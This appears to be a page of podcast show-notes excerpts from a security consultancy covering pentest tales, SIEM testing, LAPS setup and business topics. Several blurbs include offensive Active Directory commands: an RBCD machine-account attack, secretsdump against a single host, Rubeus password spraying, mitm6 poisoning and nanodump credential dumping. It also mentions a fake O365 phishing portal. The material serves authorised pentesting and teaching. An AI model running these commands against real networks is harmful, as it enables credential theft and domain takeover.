7 Minute Security

Today's another fun tale of pentest pwnage - specifically focused on cracking a hash type I'd never paid much attention to before: cached domain credentials. I also learned that you can at least partially protect against this type of hash being captured by checking out this article, which has you set the following setting in GPO: Under Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options set Interactive logon: Number of previous logons to cache to 0. Be careful, as you will have login problems if a domain controller is not immediately accessible! In regards to defending against secretsdump, this article I found this article to be super interesting.

Today we're sharing an updates to episode #512 where we ran Rapid7's InsightIDR through a bunch of attacks: Active Directory enumeration via SharpHound Password spraying through Rubeus Kerberoasting and ASREPRoasting via Rubeus Network protocol poisoning with Inveigh. Looking for a free way to detect protocol poisoning? Check out CanaryPi. Hash dumping using Impacket. I also talk about an interesting Twitter thread that discusses the detection of hash dumping. Pass-the-hash attacks with CrackMapExec In today's episode I share some emails and conversations we had with Rapid7 about these tests and their results. I'm also thrilled to share with you the articles themselves: Getting Started with Rapid7 InsightIDR: A SIEM Tutorial Testing & Evaluating SIEM Systems: A Review of Rapid7 InsightIDR

I'm extra psyched today, because today's episode (which is all about updating your VMWare ESXi version via command line) is complemented by video: https://www.youtube.com/watch?v=0-XAO32LEPY Shortly after recording this video, I found this awesome article which walks you through a different way to tackle these updates: List all upgrade profiles: esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml Grep for just the ones you want (in my case ESXi 7.x): esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0 Apply the one you want! esxcli software sources profile list --depot=https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml | grep -i ESXi-7.0    

Well friends, it has been a while since we talked about Microsoft's awesome Local Administrator Password Solution - specifically, the last time was way back in 2017! Lately I've been training some companies on how to install it by giving them a live walkthrough in our Light Pentest LITE lab, so I thought it would be a good time to write up a refreshed, down and dirty install guide. Here we go! (See the show notes for today's episode for more details!)

Hey friends, a while back in episode #505 we talked about pwning wifi PSKs and PMKIDs with Bettercap. Today I'm revisiting that with even some more fun command line kung fu to help you zero in on just the networks you're interested in and filter out a bunch of noisy events from bettercap in the process.

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD: # From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SER

Hey friends, today we're giving another peek behind the curtain of what it's like to run a cybersecurity consultancy. Topics include: Setting the right communication cadence - and communication channels - with a customer during a pentest. Tips for collaborating well with contractors so that the customer experience feels like "a single human pane of glass" (insert barf emoji here). How we're using Intercom to publish self-help/FAQ articles for 7MS.

Hey friends, it's another fun tale of pentest pwnage today! This one talks about cool things you can do when you have full rights over an OU in Active Directory. Important links to review: BloodHound edges DACL Trouble: Generic All on OUs AD prep bug in Windows Server 2016

Today we're pumped to share a featured interview with Amanda Berlin, Lead Incident Detection Engineer at Blumira. You might already be familiar with Amanda's awesome Defensive Security Handbook or fine work with Mental Health Hackers. We polled our Slack friends and structured this interview as an AAA (Ask Amanda Anything). That resulted in a really fun chat that covered many things technical and not technical! Questions we posed to Amanda include: Can you tell us more about your infosec superhero origin story and creation of your book? Will there ever be a new version of the Defensive Security Handbook? What blue team certs/YouTube vids/classes/conferences give the best bang for your buck? Was it a mistake to invent computers? From a logging standpoint, what devices provide blind spots (Linux systems, ioT devices, etc.)? You can wave a magic wand and solve any three security challenges instantly - what do you choose? Infosec Twitter drama. Love it? Leave it? Something inbetween? Tips to preve

Today we're continuing a series we haven't done in a while (click here to see the whole series) all about building and deploying pentest dropboxes for customers. Specifically, we cover: Auto installing Splashtop This can be done automatically by downloading your splashtop.exe install and issuing this command: splashtop.exe prevercheck /s /i confirm_d=0,hidewindow=1,notray=0,req_perm=0,sec_opt=2 Auto installing Ninite This can be done in a batch script like so: agent.msi /quiet ninitepro.exe /select App1 App2 App3 /silent ninite-install-report.txt The above command installs App1, App2 and App3 silently and logs output to a file called ninite-install-report.txt Auto installing Uptimerobot monitoring We do this by first creating a script called c:\uptimerobot.ps1 that makes the "phone home" call to UptimeRobot: Start-Transcript -Path c:\heartbeat.log -Append Invoke-Webrequest https://heartbeat.uptimerobot.com/LONG-UNIQUE-STRING -UseBasicParsing Stop-Transcript Then we install the scheduled task itself like s

In today's episode I talk about a cool self-defense class I took a while ago which was all about less lethal methods of protecting/defending yourself. I also talk about some safer ways to handle/hide cash while traveling on vacation.

Today we continue the series we started a few years ago called Security Your Family During and After a Disaster (the last part in this series was from a few years ago. In today's episode we focus on some additional things you should be thinking about to strengthen the "in case of emergency" document you share with your close friends and family.

Welcome to another fun tale of pentest pwnage! This one isn't a telling of one single pentest, but a collection of helpful tips and tricks I've been using on a bunch of different tests lately. These tips include: I'm seeing nmap scans get flagged a bit more from managed SOC services. Maybe a "quieter" nmap scan will help get enough ports to do a WitnessMe run, but still fly under the logging/alerting radar? Something like: nmap -p80,443,8000,8080 subnet.i.wanna.scan/24 -oA outputfile Using mitm6 in "sniper" mode by targeting just one host with: mitm6 victim-I-want-to-get-juicy-info-from -d victim.domain --ignore-nofqnd Using secretsdump to target a single host: secretsdump.py -target-ip 1.2.3.4 localadmin:@1.2.3.4 -hashes THIS-IS-WHERE-THE:SAM-HASHES-GO. Note the colon after localadmin - it's intentional, NOT an error! Rubeus makes password spraying easy-peasy! Rubeus.exe spray /password:Winter2022 /outfile:output.txt. Get some hits from that effort? Then spray the good password against ALL domain acc

Today we're joined by our friends Christopher Fielder and Jon Crotty from Arctic Wolf to talk about their interesting report on The State of Cybersecurity: 2022 Trends (note: you can get some of the report's key points here without needing to provide an email address). The three of us dig in to talk about some of the report's specific highlights, including: Many orgs are running the bare minimum (or nothing!) for endpoint protection Cyber insurance costs are going up, and some customers are unable to afford it - or they're getting dropped by their carrier altogether Security is still not getting a seat at the decision-making table in a lot of orgs, and already-overburned IT teams taking on security as part of their job descriptions as well Seems like everybody and their mom is moving infrastructure to the cloud, but few are managing that attack surface, thus increasing risk The cyber skills gap remains a challenge - many security gurus are looking to get out of their current position, leading many orgs to hi

Today I'm sharing some first impressions of the Rapid 7 InsightIDR as kind of a teaser for an eventual new chapter in our Desperately Seeking a Super SIEM for SMBs series. Disclaimer: remember these are first impressions. There may be some missed detections I talk about today that are a me problem and not the technology. I hope to get to the root of those unresolved issues by the time I talk more formally about InsightIDR in a future episode. Enjoy!

Today we're continuing our series focused on [owning a security consultancy], talking specifically about: How not to give up on warm sales leads, even if they haven't panned out for 5+ years! Some cool Mac tools that help me manage 7MS - such as Craft and OmniFocus A sneak peek at a SIEM vendor that will soon be featured in an episode of Desperately Seeking a Super SIEM for SMBs  

Today we share some first impressions of Tailscale, a service that advertises itself as "Zero config VPN. Installs on any device in minutes, manages firewall rules for you, and works from anywhere." Is it really that cool and easy? Listen to today's episode to find out!

Today we revisit our phishing series with a few important updates that help us run our campaigns more smoothly, such as creating a simple but effective fake O365 portal, and being aware that some email systems may "pre-click" malicious links before users ever actually do.

Hey friends! We have another fun test of pentest pwnage to share with you today, which is kind of tossed in a blender with some first impressions of ShellcodePack. We were on a bunch of pentests recently where we needed to dump credentials out of memory. We usually skim this article and other dumping techniques, but this time nothing seemed to work. After some discussion with colleagues, we were pointed to nanodump, which I believe is intended for use with Cobalt Strike, but you can compile standalone (or, pro tip: the latest CrackMapExec has nanodump.exe built right into it, you just have to create the folder first. So what I like to do is put nanodump in a folder on my Kali box, get some admin creds to my victim host, and then do something like this: # Windows system: tell your Windows system to trust the victim host you're about to PS into: winrm set winrm/config/client @{TrustedHosts="VICTIM-SERVER"} # Windows system: PowerShell into the victim system Enter-PSSession -computername -Credential domain.co

Today's featured interview is with Matthew Warner, CTO and co-founder of Blumira. We had a great chat about why out-of-the-box Windows logging isn't super awesome, "free" ways to get logging turned up to 11 (Microsoft's audit policy recommendations, sysmon, sysmon modular), as well as how to get better logging in hard-to-reach places like Kerberos. Be sure to also check out Blumira's resources on detecting Kerberoasting and simplifying Windows log collection and ongoing management with Poshim. And please check out the Webinar we did together which demonstrates some common pentest attacks - and how Blumira can detect them!